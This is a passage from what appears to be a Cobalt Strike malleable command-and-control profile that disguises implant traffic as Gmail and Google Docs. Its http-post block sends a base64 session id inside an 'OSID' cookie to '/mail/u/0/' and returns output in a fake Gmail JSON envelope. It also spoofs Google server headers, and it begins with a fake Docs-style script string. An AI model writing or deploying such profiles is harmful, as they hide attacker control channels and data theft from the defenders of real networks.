append ",g2=function(a)(return a.ra),s8d=function(a)(return a?hb(a,function(a)(return new UP(a)):[]),h2=function(a)(switch(a)(case \"all\":case \"docs-images\":case \"docs-images-and-videos\":case \"docs-videos\":case \"documents\":case \"drawings\":case \"folders\":case \"forms\":case \"pdfs\":case \"presentations\":case \"sites\":case \"spreadsheets\":case \"tables\":return!0)return!1); O(L.Oa(),\"sy588\")";
|
||||
|
||||
print;
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
http-post {
|
||||
set uri "/mail/u/0/";
|
||||
client {
|
||||
parameter "ui" "d3244c4707";
|
||||
parameter "hop" "6928632";
|
||||
parameter "start" "0";
|
||||
header "Content-Type" "application/x-www-form-urlencoded;charset=utf-8";
|
||||
|
||||
id {
|
||||
base64;
|
||||
prepend "OSID=";
|
||||
header "Cookie";
|
||||
}
|
||||
|
||||
output{
|
||||
base64;
|
||||
print;
|
||||
}
|
||||
}
|
||||
|
||||
server {
|
||||
header "X-Content-Type-Options" "nosniff";
|
||||
header "X-Frame-Options" "SAMEORIGIN";
|
||||
header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
|
||||
header "X-XSS-Protection" "1; mode=block";
|
||||
header "Server" "GSE";
|
||||
|
||||
output {
|
||||
|
||||
prepend "[[[\"apm\",\"";
|
||||
|
||||
append "\"]";
|
||||
append ",[\"ci\",[]";
|
||||
append "]";
|
||||
append ",[\"cm\",[]";
|
||||
append ",[]";
|
||||
append "]";
|
||||
append "],'dbb8796a80d45e1f']";
|
||||
base64;
|
||||
print;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user